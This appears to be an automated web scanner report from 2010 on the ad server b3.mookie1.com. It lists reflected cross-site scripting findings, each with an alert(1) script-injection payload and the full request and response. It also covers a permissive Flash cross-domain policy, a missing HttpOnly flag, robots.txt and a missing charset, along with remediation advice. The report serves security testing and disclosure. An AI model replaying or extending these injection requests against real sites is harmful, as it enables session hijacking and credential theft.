Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 662c7"><script>alert(1)</script>4a4ccaf4344 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/ValueClickB3662c7"><script>alert(1)</script>4a4ccaf4344/BloombergTV/201011/NEWS_AM/300/120101108002307@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://d3.zedo.com/jsc/d3/ff2.html?n=951;c=2;s=2;d=9;w=300;h=250;$=burst300x250 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=1618482233066729; OAX=rnoX2ky07x0ACKAn; Dominos=Burst; iShares=nytimes
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 03:53:17 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 361 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e6c45525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 69a5d"><script>alert(1)</script>f2082882d61 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/ValueClickB3/BloombergTV69a5d"><script>alert(1)</script>f2082882d61/201011/NEWS_AM/300/120101108002307@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://d3.zedo.com/jsc/d3/ff2.html?n=951;c=2;s=2;d=9;w=300;h=250;$=burst300x250 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=1618482233066729; OAX=rnoX2ky07x0ACKAn; Dominos=Burst; iShares=nytimes
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 03:53:48 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 363 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e6f45525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ccde1"><script>alert(1)</script>23c3aedaaeb was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/ValueClickB3/BloombergTV/201011ccde1"><script>alert(1)</script>23c3aedaaeb/NEWS_AM/300/120101108002307@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://d3.zedo.com/jsc/d3/ff2.html?n=951;c=2;s=2;d=9;w=300;h=250;$=burst300x250 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=1618482233066729; OAX=rnoX2ky07x0ACKAn; Dominos=Burst; iShares=nytimes
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 03:54:21 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 362 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e3545525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload abe4e"><script>alert(1)</script>d542f8d6e7f was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/ValueClickB3/BloombergTV/201011/NEWS_AMabe4e"><script>alert(1)</script>d542f8d6e7f/300/120101108002307@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://d3.zedo.com/jsc/d3/ff2.html?n=951;c=2;s=2;d=9;w=300;h=250;$=burst300x250 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=1618482233066729; OAX=rnoX2ky07x0ACKAn; Dominos=Burst; iShares=nytimes
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 03:55:00 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 363 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e2045525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b7f7"><script>alert(1)</script>8ff14356ac4 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/ValueClickB3/BloombergTV/201011/NEWS_AM/3009b7f7"><script>alert(1)</script>8ff14356ac4/120101108002307@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://d3.zedo.com/jsc/d3/ff2.html?n=951;c=2;s=2;d=9;w=300;h=250;$=burst300x250 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=1618482233066729; OAX=rnoX2ky07x0ACKAn; Dominos=Burst; iShares=nytimes
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 03:55:27 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 361 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e3945525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dddc2"><script>alert(1)</script>e4337c01f1d was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/ValueClickB3/BloombergTV/201011/NEWS_AM/300/120101108002307@x90dddc2"><script>alert(1)</script>e4337c01f1d HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://d3.zedo.com/jsc/d3/ff2.html?n=951;c=2;s=2;d=9;w=300;h=250;$=burst300x250 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=1618482233066729; OAX=rnoX2ky07x0ACKAn; Dominos=Burst; iShares=nytimes
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 03:56:05 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 354 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e2045525d5f4f58455e445a4a423660;path=/
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Issue background
The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
Request
GET /crossdomain.xml HTTP/1.0 Host: b3.mookie1.com
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 03:49:27 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Last-Modified: Thu, 03 Jun 2010 03:21:18 GMT ETag: "27e7e-d0-b324c780" Accept-Ranges: bytes Content-Length: 208 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/xml Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e3545525d5f4f58455e445a4a423660;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /2/ValueClickB3/BloombergTV/201011/NEWS_AM/300/120101108002307@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://d3.zedo.com/jsc/d3/ff2.html?n=951;c=2;s=2;d=9;w=300;h=250;$=burst300x250 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=1618482233066729; OAX=rnoX2ky07x0ACKAn; Dominos=Burst; iShares=nytimes
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 00:23:09 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 522 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e6c45525d5f4f58455e445a4a423660;path=/
<SCRIPT TYPE="text/javascript" language="JavaScript"> var B3d=new Date(); var B3m=B3d.getTime(); B3d.setTime(B3m+30*24*60*60*1000); document.cookie="BloombergTV=ValueClickB3;expires="+B3d.toGMTString( ...[SNIP]...
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: b3.mookie1.com
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 03:49:27 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Last-Modified: Thu, 03 Jun 2010 03:21:18 GMT ETag: "27e81-1a-b324c780" Accept-Ranges: bytes Content-Length: 26 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/plain Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e3545525d5f4f58455e445a4a423660;path=/
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
Request
GET /2/ValueClickB3/BloombergTV/201011/NEWS_AM/300/120101108002307@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://d3.zedo.com/jsc/d3/ff2.html?n=951;c=2;s=2;d=9;w=300;h=250;$=burst300x250 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=1618482233066729; OAX=rnoX2ky07x0ACKAn; Dominos=Burst; iShares=nytimes
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 00:23:09 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 522 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e6c45525d5f4f58455e445a4a423660;path=/
<SCRIPT TYPE="text/javascript" language="JavaScript"> var B3d=new Date(); var B3m=B3d.getTime(); B3d.setTime(B3m+30*24*60*60*1000); document.cookie="BloombergTV=ValueClickB3;expires="+B3d.toGMTString( ...[SNIP]...
Report generated by XSS.CX at Mon Nov 08 09:25:05 CST 2010.